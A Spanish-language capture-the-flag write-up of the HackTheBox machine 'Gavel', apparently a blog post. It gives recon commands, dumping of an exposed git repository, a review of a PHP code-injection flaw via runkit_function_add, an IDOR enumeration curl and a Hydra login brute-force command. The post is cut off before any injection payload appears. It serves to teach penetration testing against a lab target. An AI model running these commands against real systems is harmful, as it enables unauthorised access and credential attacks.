Introducción

Estructura del POST

Tras bastante tiempo sin publicar un write-up, he decidido cambiar el enfoque y, en vez de explotar directamente el vector principal de ataque, voy a explicar mi proceso mental a la hora de realizar el CTF. Además, al explotar vulnerabilidades intentaré explicarlas lo más a bajo nivel posible y aportar PoCs en local para analizar la raíz del problema. De ahí la gran longitud de este post.

Contenido

En este post veremos cómo explotar la máquina Gavel de HTB. Una máquina interesante donde se cubren escenarios y vulnerabilidades que nos podríamos encontrar en un entorno real. El vector principal de explotación será: Dump del repositorio de git expuesto por HTTP -> Análisis de código -> Fuerza bruta de credenciales web (Vector no intencionado, Parcheado) O SQLi abusando de una vulnerabilidad en el parser de PDO (Vector real) -> Explotar RCE a través de runkit_function_add() -> Movimiento Lateral con reúso de credenciales -> Explotación de un Binario Custom con inyección de código PHP sobre contexto de root.

Reconocimiento

Reconocimiento de Puertos

Escaneamos el Host en busca de puertos abiertos, la herramienta más utilizada para este propósito es nmap.

Este comando nos devuelve los puertos TCP abiertos en el host objetivo:

1
nmap -sS -T4 -p- --open -oN Open_Ports 10.10.11.97
Parámetro Descripción
-sS SYN scan (“half-open”): envía SYN y analiza la respuesta sin completar el 3-way handshake (más sigiloso/rápido que un connect scan)
-T4 Plantilla más rápida a costa de ser más ruidosa y con mayor riesgo de falsos negativos en redes inestables, pero en entornos CTFs suele funcionar bien y no se salta posibles puertos abiertos a diferencia de -T5.
-p- Escanea todo el rango de puertos (1–65535).
--open Muestra solo puertos detectados como abiertos (oculta cerrados/filtrados).
-oN Open_Ports Guarda la salida en formato “normal” en el archivo Open_Ports.
10.10.11.97 IP/host a escanear.

El Host tiene los puertos TCP 22 y 80 abiertos, estos puertos suelen correr los servicios SSH y HTTP respectivamente.

1
2
3
4
5
6
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Lanzamos nmap utilizando los scripts por defecto:

1
nmap -sCV -T3 -p 22,80 -oN Objective_Ports 10.10.11.97
Parámetro Descripción
-sC Ejecuta los scripts por defecto de NSE (equivale a --script=default).
-sV Detecta versiones de servicios en los puertos encontrados.
-T3 Timing normal/balanceado (más fiable y menos ruidoso que -T4/-T5).
-p 22,80 Escanea solo los puertos TCP 22 y 80.
-oN Objective_Ports Guarda la salida en formato “normal” en el archivo Objective_Ports.
10.10.11.97 IP/host a escanear.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Gavel Auction
| http-git:
| 10.10.11.97:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El script http-git de nmap ha detectado un repositorio git subido al servidor Web, con algo de suerte el repo contendrá el código fuente de la aplicación o secretos que nos permitan avanzar en la máquina. Vamos a seguir con el Recon, y cuando tengamos una idea de a qué nos enfrentamos pasamos a analizar el repo.

Reconocimiento Web

Fuzzing De Directorios

Mientras realizamos un análisis pasivo de la página Web habitualmente dejo un escáner en busca de directorios sensibles, archivos que no se puedan descubrir de forma pasiva y archivos de backup que puedan tener el código fuente o información sensible. Para determinar la lista de extensiones más eficiente, utilizo la extensión del motor utilizado en el backend como base, en este caso, PHP.

1
2
3
feroxbuster -u http://gavel.htb/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x php.back,php.zip,php.tar,tar,back,zip
Param Desc
-u URL Objetivo
-w Diccionario
-x Añade la extensión dada al final de cada palabra de la lista
–dont-scan Evita la ruta dada, en este caso he quitado assets para quitar ruido, pero en un ctf/pentest os recomiendo escanear todo, nunca se sabe dónde te vas a encontrar información relevante

Tras analizar el output no se ve nada “interesante” que no haya podido descubrir de forma pasiva navegando por la Web:

1
2
3
4
5
6
7
8
9
10
11
12
13
200 GET   78l  213w  4281c http://gavel.htb/login.php
200 GET 84l 301w 4485c http://gavel.htb/register.php
200 GET 222l 1043w 14044c http://gavel.htb/index.php
200 GET 222l 1043w 14055c http://gavel.htb/
302 GET 0l 0w 0c http://gavel.htb/admin.php => index.php
301 GET 9l 28w 306c http://gavel.htb/rules => http://gavel.htb/rules/
301 GET 9l 28w 309c http://gavel.htb/includes => http://gavel.htb/includes/
302 GET 0l 0w 0c http://gavel.htb/logout.php => index.php
200 GET 0l 0w 0c http://gavel.htb/includes/db.php
200 GET 0l 0w 0c http://gavel.htb/includes/config.php
200 GET 0l 0w 0c http://gavel.htb/includes/auction.php
302 GET 0l 0w 0c http://gavel.htb/inventory.php => index.php
200 GET 0l 0w 0c http://gavel.htb/includes/session.php

Análisis Web

Tras analizar la Web de pasada os voy a comentar mis pensamientos y conclusiones que he obtenido en cada endpoint.

Register.php (Web)

Nos permite registrar usuarios, una vez registrado podemos loguearnos con el usuario el cual recibirá 50000 coins, estas nos permitirán pujar por items. El backend implementa un filtro que solo permite utilizar caracteres alfanuméricos, evitando vulnerabilidades de inyección como HTMLi, XSS, etc.

Página de registro salta el filtro

Login.php (Web)

Nos permite loguearnos en la aplicación. Aunque aparezca una función de recuperación de contraseña esta no es funcional.

Panel de Login

Index.php (Web)

La página principal donde nos introduce la aplicación.

Index page página principal

En el index.php aparece una sección de Testimonies donde los usuarios dejan sus reseñas, sin embargo, no se ha encontrado la función donde podamos crear nosotros nuestros propios comentarios, la cual podría ser un posible vector de explotación. En ctfs/pentest es importante leer el contenido de la página en busca de “pistas” que nos puedan revelar información de la página Web.

Podemos considerar el siguiente contenido como de valor para un atacante:

After the Great Goblin Uprising of ‘22, one lone, sleep-deprived developer (Hi!) forged a new system wrapped in more wards, scripts, and sanity checks than a necromancer’s tax return.

Parece ser que el developer no estaba en sus plenas condiciones a la hora de desarrollar la Web, es posible que podamos encontrar algún fallo que otro.

Now our auctioneers wield an arcane Rule Engine so over-engineered it occasionally gains sentience and denies bids for “being too chaotic.” Every item is verified. Every bid scrutinized. Every loophole patched, re-opened, and patched again with duct tape and mild hexes.

Se ha implementado un motor de reglas innecesariamente complejo, importante tenerlo en cuenta.

OwlexaPrime [banned] — (0/5 curses)
“Site said ‘intelligent bidding system’ — I still outsmarted it.”

Revisando los testimonios parece ser que un usuario llamado OwlexaPrime deja ver que ha Derrotado/Hackeado el sistema de bidding. La cuenta ha sido baneada.

Sería lógico pensar que cada testimonio equivale a una cuenta real, por lo que podríamos crear una primera lista de users para un futuro ataque de fuerza bruta/credential guessing.

Instalar el parser htmlq (Arch Based):

1
pacman -S htmlq

Curl para extraer todos los usuarios en la sección Testimonies utilizando htmlq:

1
2
3
export gavel_cookie=<your_cookie_value>;
curl -sS -H "Cookie: gavel_session=$gavel_cookie" http://gavel.htb/index.php | \
htmlq -t '.container-fluid .mb-4 strong'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Wizard's Expired Library Card
Boots of Slight Speed
One-Way Portal Key
Merlox the Mild
BidGazer99
ShadowMartha
RuneSniffer42
ElvenEarl77
WandWarrantyVoid
VialCollector69
ZedIsDead
BoneBidderX
GrantMeThis
OwlexaPrime [banned]
HalfPriceOgre
MagicalTrashbin

Inventory.php (Web)

Muestra los objetos adquiridos por el usuario. Tiene dos modos de filtrado Name y Quantity, que son pasados por una requests POST a través del parámetro sort.

Página de Inventario

Las requests generadas son:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /inventory.php HTTP/1.1
Host: gavel.htb
Content-Length: 24
Cache-Control: max-age=0
Origin: http://gavel.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gavel.htb/inventory.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: gavel_session=<your_cookie_value>
Connection: keep-alive

user_id=2&sort=item_name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /inventory.php HTTP/1.1
Host: gavel.htb
Content-Length: 23
Cache-Control: max-age=0
Origin: http://gavel.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gavel.htb/inventory.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: gavel_session=<your_cookie_value>
Connection: keep-alive

user_id=2&sort=quantity

Si nos fijamos en el body de la requests vemos que nuestro user_id es 2, con esta información podemos deducir dos puntos.

  1. Antes de crear nuestro user ya existía uno. ¿Puede que el user_id=1 sea el admin?
  2. La lista de Users que hemos creado solo podría tener un user válido, ya que el user_id=2 indica que no había más de 1 usuario creado antes de nosotros.

Además a primera vista parece que existe un IDOR explotable sobre el parámetro user_id, permitiendo visualizar los items de otros usuarios. Veremos por qué pasa esto cuando analicemos el código fuente.

Bidding.php (Web)

Sistema de pujas, el cual permite pujar por los items a través de una petición post con los parámetros auction_id y bid_amount.

Aparecen un máximo de 3 items en la tienda, los cuales al terminar el tiempo recargarán la página con una requests GET a /bidding.php para ser reemplazados por un item nuevo, además parece que cada item trae un mensaje que indica una regla a seguir para poder pujar. Esta regla se comprueba en el backend.

Página Bidding System

Request generada al pujar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /includes/bid_handler.php HTTP/1.1
Host: gavel.htb
Content-Length: 244
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxVWX0izm2z6JBLGh
Accept: */*
Origin: http://gavel.htb
Referer: http://gavel.htb/bidding.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: gavel_session=<your_cookie_value>
Connection: keep-alive

------WebKitFormBoundaryxVWX0izm2z6JBLGh
Content-Disposition: form-data; name="auction_id"

1303
------WebKitFormBoundaryxVWX0izm2z6JBLGh
Content-Disposition: form-data; name="bid_amount"

12
------WebKitFormBoundaryxVWX0izm2z6JBLGh--

Admin.php (Web)

No parece accesible por nuestro usuario, ya que se nos redirige a index.php, por lo que podemos casi asegurar que existe un rol admin el cual sí nos permitiría acceder a esta página.

1
http://gavel.htb/admin.php => index.php

/includes/ Páginas PHP sin contenido HTML

Las siguientes páginas no devuelven contenido, pero son accesibles por el usuario. Aunque las páginas no tengan contenido HTML que podamos consultar como clientes no significa que no puedan esconder vulnerabilidades, ya que, es posible que el código PHP que albergan pueda llegar a utilizar user input sin sanitizar y el atacante solo necesite hacer una requests a estos endpoints.

1
2
3
4
http://gavel.htb/includes/db.php
http://gavel.htb/includes/config.php
http://gavel.htb/includes/auction.php
http://gavel.htb/includes/session.php

Análisis Del Repositorio Leakeado

Git Dumping

Como ya vimos en la fase de reconocimiento de puertos, nmap nos marcó la existencia de un repo en el servidor Web, por lo que podemos verlo directamente desde http://gavel.htb/.git/ o dumpear el repo con una tool como git-dumper.

1
2
python3 -m venv git-dumper
./git-dumper/bin/pip3 install git-dumper
1
./git-dumper/bin/git-dumper http://gavel.htb/ gavel_repo

Git Recon

Cuando nos encontramos un repo leakeado de git, aparte de buscar el código backend en busca de vulnerabilidades también debemos analizar el repo en su conjunto en busca de posibles secrets, commits interesantes, ramas de desarrollo, etc…

En mi opinión es la forma más recomendada si el repo tiene unas dimensiones manejables

1
git branch --list
1
git log --all --oneline --graph --decorate

Output:

1
2
3
* f67d907 (HEAD -> master) ..
* 2bd167f .
* ff27a16 gavel auction ready
1
2
3
git show f67d907
git show 2bd167f
git show ff27a16

Trufflehog es una tool que nos permite escanear repos en busca de secretos.

1
pacman -S trufflehog
1
trufflehog git file://gavel_repo --results=verified,unknown 

Tras un vistazo general y excluyendo el código backend no se ha encontrado ninguna información demasiado relevante, exceptuando un posible usuario [email protected] en el archivo de configuración del repo .git/config:

1
cat -pp gavel_repo/.git/config
1
2
3
4
5
6
7
8
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = sado
email = [email protected]

Análisis del Código Backend

Como podemos ver no hay casi ningún archivo adicional que no hayamos podido encontrar mediante fuzzing o análisis pasivo, exceptuando el archivo default.yaml. Así que podríamos determinar que si existe alguna vulnerabilidad tendría que estar en estos archivos.

1
tree -I "assets"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.
├── admin.php
├── bidding.php
├── includes
│ ├── auction.php
│ ├── auction_watcher.php
│ ├── bid_handler.php
│ ├── config.php
│ ├── db.php
│ └── session.php
├── index.php
├── inventory.php
├── login.php
├── logout.php
├── register.php
└── rules
└── default.yaml

¿Por qué no hemos encontrado default.yaml en la fase de Recon (fuzzing de directorios)?

Feroxbuster por defecto realiza una búsqueda recursiva, este había encontrado la ruta rules, pero como no le hemos pasado la extensión .yaml mediante -x no ha podido encontrarlo por fuerza bruta.

Si no quieres meter excesivas peticiones está bien no utilizar todas las extensiones posibles, simplemente las más relevantes para el aplicativo que estás analizando. Sin embargo, tras haber descubierto el directorio rules el enfoque correcto habría sido lanzar un fuzzing paralelo exclusivamente sobre la ruta http://gavel.htb/rules/ utilizando extensiones “típicas” para reglas yml,yaml,json,toml,ini,cfg,conf,properties,xml, fallo mío.

1
2
3
feroxbuster --quiet -u http://gavel.htb/rules/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x yml,yaml,json,toml,ini,cfg,conf,properties,xml --output Rules_fuzzing.txt
1
2
301 GET 9l 28w 306c http://gavel.htb/rules => http://gavel.htb/rules/
200 GET 9l 72w 467c http://gavel.htb/rules/default.yaml

¿Por qué el archivo default.yaml nos habría aportado información de valor?

1
curl http://gavel.htb/rules/default.yaml
1
2
3
4
5
6
7
8
9
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."

- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

El archivo contiene un campo rule que encaja perfectamente con la sintaxis del motor utilizado por el servidor PHP, y además son las reglas exactas que se están utilizando por defecto en bidding.php, por lo que, si en algún momento podemos llegar a controlar/modificar el valor de rule es posible que podamos obtener inyección de código PHP, y un posible RCE a nivel de sistema. Con esta información podemos enfocar el análisis de código principalmente a encontrar una inyección en el motor de reglas.

Admin.php (Backend)

Como admin.php parecía ser el único endpoint sobre el cual no teníamos acceso y nos redirigía directamente a index.php vamos a analizar su código backend para entenderlo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';
require_once __DIR__ . '/includes/auction.php';

if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
header('Location: index.php');
exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$auction_id = intval($_POST['auction_id'] ?? 0);
$rule = trim($_POST['rule'] ?? '');
$message = trim($_POST['message'] ?? '');

if ($auction_id > 0 && (empty($rule) || empty($message))) {
$stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
$_SESSION['success'] = 'Auction not found.';
header('Location: admin.php');
exit;
}
if (empty($rule)) $rule = $row['rule'];
if (empty($message)) $message = $row['message'];
}

if ($auction_id > 0 && $rule && $message) {
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
$_SESSION['success'] = 'Rule and message updated successfully!';
header('Location: admin.php');
exit;
}
}

$stmt = $pdo->query("SELECT * FROM auctions WHERE status = 'active' ORDER BY id");
$current_auction = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

A primera vista parece que la aplicación solo permite acceso a usuarios con el rol auctioneer y permite al usuario con este rol actualizar los campos rule y message para un determinado item, el cual debe estar en proceso de subasta. Vamos a analizarlo paso por paso.

  1. Este fragmento de código comprueba a nivel de servidor si tenemos un usuario con el rol auctioneer:

    1
    2
    3
    4
    if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
    header('Location: index.php');
    exit;
    }
  2. En el caso de que sí tengamos ese rol, vemos que este usuario podría hacer una Request a través de POST

    1
    2
    3
    4
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $auction_id = intval($_POST['auction_id'] ?? 0);
    $rule = trim($_POST['rule'] ?? '');
    $message = trim($_POST['message'] ?? '');
  3. Y en el caso de que el usuario envíe correctamente el auction_id, rule y message se hará una consulta SQL donde se actualizará la tabla auctions seteando los valores rule, message para el auction_id que hemos pasado:

    1
    2
    3
    4
    5
    6
    7
    if ($auction_id > 0 && $rule && $message) {
    $stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
    $stmt->execute([$rule, $message, $auction_id]);
    $_SESSION['success'] = 'Rule and message updated successfully!';
    header('Location: admin.php');
    exit;
    }
  4. Si esta petición tiene éxito nos devolverá el mensaje “Rule and message updated successfully!” Por lo que podemos concluir que si tenemos acceso con el rol auctioneer podríamos manipular los campos rule y message.

Bid_Handler.php (Backend)

En este archivo se encuentra la vulnerabilidad la cual nos dará acceso al servidor, una inyección de código PHP que nos permite conseguir RCE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
require_once __DIR__ . '/config.php';
require_once __DIR__ . '/db.php';
require_once __DIR__ . '/session.php';

header('Content-Type: application/json');

if (!isset($_SESSION['user'])) {
echo json_encode(['success' => false, 'message' => 'You must be logged in.']);
exit;
}

$auction_id = (int) ($_POST['auction_id'] ?? 0);
$bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$id = $_SESSION['user']['id'] ?? null;
$username = $_SESSION['user']['username'] ?? null;

$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();

if (!$auction || $auction['status'] !== 'active' || strtotime($auction['ends_at']) < time()) {
echo json_encode(['success' => false, 'message' => 'Auction has ended.']);
exit;
}

if ($bid_amount <= 0) {
echo json_encode(['success' => false, 'message' => 'Your bid must be greater than 0.']);
exit;
}

if ($bid_amount <= $auction['current_price']) {
echo json_encode(['success' => false, 'message' => 'Your bid must be more than the current bid amount!']);
exit;
}

$stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

if (!$user || $user['money'] < $bid_amount) {
echo json_encode(['success' => false, 'message' => 'Insufficient funds to place this bid.']);
exit;
}

$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}

if (!$allowed) {
echo json_encode(['success' => false, 'message' => $rule_message]);
exit;
}

try {
$pdo->beginTransaction();
$newEndsAt = date('Y-m-d H:i:s', time() + 120);
$stmt = $pdo->prepare("UPDATE auctions SET current_price = ?, highest_bidder = ?, ends_at = ? WHERE id = ?");
$stmt->execute([$bid_amount, $username, $newEndsAt, $auction_id]);

$stmt = $pdo->prepare("UPDATE users SET money = money - ? WHERE id = ?");
$stmt->execute([$bid_amount, $id]);

$pdo->commit();
} catch (Exception $e) {
$pdo->rollBack();
echo json_encode(['success' => false, 'message' => 'Transaction failed. Try again.']);
exit;
}

echo json_encode(['success' => true, 'message' => 'Bid placed successfully!']);

¿Por qué esto es tan interesante? Si analizamos el código de bid_handler.php podemos ver que en el caso de estar logueados se abre la posibilidad de realizar una consulta a la tabla auctions filtrando por auction_id y sacando todos los campos, guardándolos en el array auction:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (!isset($_SESSION['user'])) {
echo json_encode(['success' => false, 'message' => 'You must be logged in.']);
exit;
}

$auction_id = (int) ($_POST['auction_id'] ?? 0);
$bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$id = $_SESSION['user']['id'] ?? null;
$username = $_SESSION['user']['username'] ?? null;

$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();

Se realizan varias comprobaciones para determinar si la puja es válida, y en tal caso guarda la información relevante:

  1. Comprueba si la subasta está activa.

    1
    2
    3
    4
    if (!$auction || $auction['status'] !== 'active' || strtotime($auction['ends_at']) < time()) {
    echo json_encode(['success' => false, 'message' => 'Auction has ended.']);
    exit;
    }
  2. Verifica si la puja es mayor que 0.

    1
    2
    3
    4
    if ($bid_amount <= 0) {
    echo json_encode(['success' => false, 'message' => 'Your bid must be greater than 0.']);
    exit;
    }
  3. Calcula si la puja es mayor al precio de puja actual.

    1
    2
    3
    4
    if ($bid_amount <= $auction['current_price']) {
    echo json_encode(['success' => false, 'message' => 'Your bid must be more than the current bid amount!']);
    exit;
    }
  4. Realiza una consulta SQL para determinar el dinero del usuario.

    1
    2
    3
    $stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
    $stmt->execute([$id]);
    $user = $stmt->fetch();
  5. Si el dinero del usuario es menor a la puja no permite pujar.

    1
    2
    3
    4
    if (!$user || $user['money'] < $bid_amount) {
    echo json_encode(['success' => false, 'message' => 'Insufficient funds to place this bid.']);
    exit;
    }
  6. Tras todas estas comprobaciones considera la puja válida y guarda la puja realizada como current_bid, la puja anterior como previous_bid, y establece al usuario que puja como bidder.

    1
    2
    3
    $current_bid = $bid_amount;
    $previous_bid = $auction['current_price'];
    $bidder = $username;
  7. Más adelante el código extrae los campos rule y message del array auction, que si recordamos son los campos a los que el usuario con el rol auctioneer tiene acceso.

    1
    2
    $rule = $auction['rule'];
    $rule_message = $auction['message'];
  8. Seguidamente el código comprueba si la función con el nombre ruleCheck ya existe, si ya existe la borra y acto seguido vuelve a crear una función haciendo uso de runkit_function_add(). Esta función de PHP nos permite crear una función, donde el último argumento será la string que será ejecutada por PHP, un equivalente a lo que haría el constructor de lenguaje eval(), por lo que si un usuario tiene acceso al último parámetro utilizado en la función podría inyectar código PHP malicioso y que este se ejecute. En nuestro caso se puede ver cómo se está utilizando $rule sin sanitización alguna, ya que a la hora de hacer el update en admin.php no se realiza ningún tipo de comprobación:

    1
    2
    3
    4
    5
    6
    7
    8
    try {
    if (function_exists('ruleCheck')) {
    runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
    }

Perfecto, acabamos de ver una vía potencial para explotar un RCE. La única condición sería tener acceso a un usuario con el rol auctioneer.

Auction_watcher.php (Backend)

Nada relevante, pero se puede ver la ruta a nivel de sistema donde se encuentra el aplicativo:

1
define('MAIN_PATH', '/var/www/html/gavel');

Explotación

IDOR

Como ya hemos comentado antes en inventory.php, existe un IDOR que nos permite consultar items de otros users. Esta vulnerabilidad no forma parte del path de explotación.

Código vulnerable

1
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];

El desarrollador está sacando el user_id directamente de la petición sin aplicar ningún tipo de comprobación de autorización en el backend. Al utilizar el operador ?? (coge el primer valor que exista y no sea null) se traduce en:

  1. Coge el userId del campo user_id por POST, si no:
  2. Coge el userId del campo user_id por GET, si no:
  3. Coge el userId de la sesión.

Lo correcto sería que si quieres sacar el user_id sí o sí de la petición compararlo con el $_SESSION['user']['id'], y si coinciden, utilizarlo, aunque lo más correcto sería sacar el $userId solo de la $_SESSION.

Tras sacar el $userId se utiliza en las consultas SQL sin ninguna otra comprobación, dando lugar al IDOR:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}

Explotación IDOR

La explotación es muy sencilla, ya que, los identificadores de usuarios son secuenciales, user_id=1,user_id=2,user_id=lastId+1. Podemos hacer un curl para extraer los items de cada user:

1
curl -s -b 'gavel_session=<your_cookie_value>' -d 'user_id=<id>&sort=quantity' http://gavel.htb/inventory.php

Si el usuario ha comprado algún item lo veremos reflejado en el html. Por defecto no hay usuarios con items en el inventario, por lo que no veremos nada.

RCE (FootHold)

Como ya hemos visto, para poder realizar la petición donde controlamos los parámetros rule y message necesitamos un usuario con privilegios administrador (rol auctioneer).

Conseguir Las Credenciales del Usuario Auctioneer

Para obtener este usuario existen dos vectores posibles:

  1. A través de brute force sobre el login.php
  2. Explotando una SQLi abusando de una vulnerabilidad en el parser de PDO.

Contacté con el autor de la máquina Shadow21A para ver cuál fue el path más utilizado por la gente, y me comentó que la mayoría obtuvieron el usuario realizando fuerza bruta, pero que este vector no era intencionado y que ha sido parcheado.

Web Login Brute Force (Mi path | Parcheado)

Podemos intentar realizar un ataque de fuerza bruta utilizando nombres de usuario que hemos podido inferir/obtener mediante recon y recordando que cuando nos hemos logueado ya existía un usuario con el user_id=1, el cual presumiblemente tenga el rol auctioneer. La primera lista de users que hemos podido generar es la siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Wizard's Expired Library Card
Boots of Slight Speed
One-Way Portal Key
Merlox the Mild
BidGazer99
ShadowMartha
RuneSniffer42
ElvenEarl77
WandWarrantyVoid
VialCollector69
ZedIsDead
BoneBidderX
GrantMeThis
OwlexaPrime
HalfPriceOgre
MagicalTrashbin
admin
sado
auctioneer

Antes de lanzar el comando tenemos que saber discernir un login correcto de uno incorrecto basándonos en su respuesta http. Partiendo de la base que hemos creado un usuario llamado void4m0n con la credencial void4m0n podemos testear el login

1
curl -s -o /dev/null -w '%{http_code}\n' -d 'username=void4m0n&password=incorrectpass' http://gavel.htb/login.php

Response: 200

1
curl -s -o /dev/null -w '%{http_code}\n' -d 'username=void4m0n&password=void4m0n' http://gavel.htb/login.php

Response: 302

En este caso la aplicación devuelve diferentes códigos de estado.

  • Login Correcto:
    • Devuelve el código 302 redirigiendo a index.php y seteando nuestra nueva cookie de sesión. Login Incorrecto:
    • Devuelve el código 200 mostrando el login.php con el mensaje “Invalid username or password.”

Para automatizar el ataque podemos utilizar la tool hydra, la cual permite realizar ataques de fuerza bruta sobre diferentes protocolos de forma eficiente. Hydra permite lanzar intentos de inicio de sesión utilizando múltiples hilos.

1
pacman -S hydra
1
2
3
HYDRA_PROXY_HTTP=http://127.0.0.1:8080 hydra -u -L Users.txt \
-P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt \
gavel.htb -V http-form-post '/login.php:username=^USER^&password=^PASS^:S=302' -t 64 -I -f
Componente Explicación
HYDRA_PROXY_HTTP=http://127.0.0.1:8080 Enruta el ataque de fuerza bruta a través del proxy dado, en este caso lo utilizo para que Burp Suite pueda interceptar las peticiones
-u Hace que cada contraseña itere sobre todos los usuarios. Flag muy útil para CTFs, ya que habitualmente las contraseñas utilizadas por los creadores están al principio del rockyou.txt
-L Users.txt Diccionario de usuarios
-P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt Diccionario de contraseñas
gavel.htb Host objetivo
-V Activa el modo verbose
http-form-post Módulo utilizado para formularios html que envían los datos por POST
'/login.php:username=^USER^&password=^PASS^:S=302' Define la estructura de la solicitud HTTP POST. La primera parte (/login.php) es el endpoint, la segunda asigna los parámetros del formulario a los marcadores de usuario y contraseña de Hydra, y la última (S=302) indica que un código HTTP 302 representa un inicio de sesión exitoso.
-t 64 Establece el número de hilos que se ejecutarán. 64 Hilos es excesivo para entornos reales, pero en CTFs no suele haber problemas.
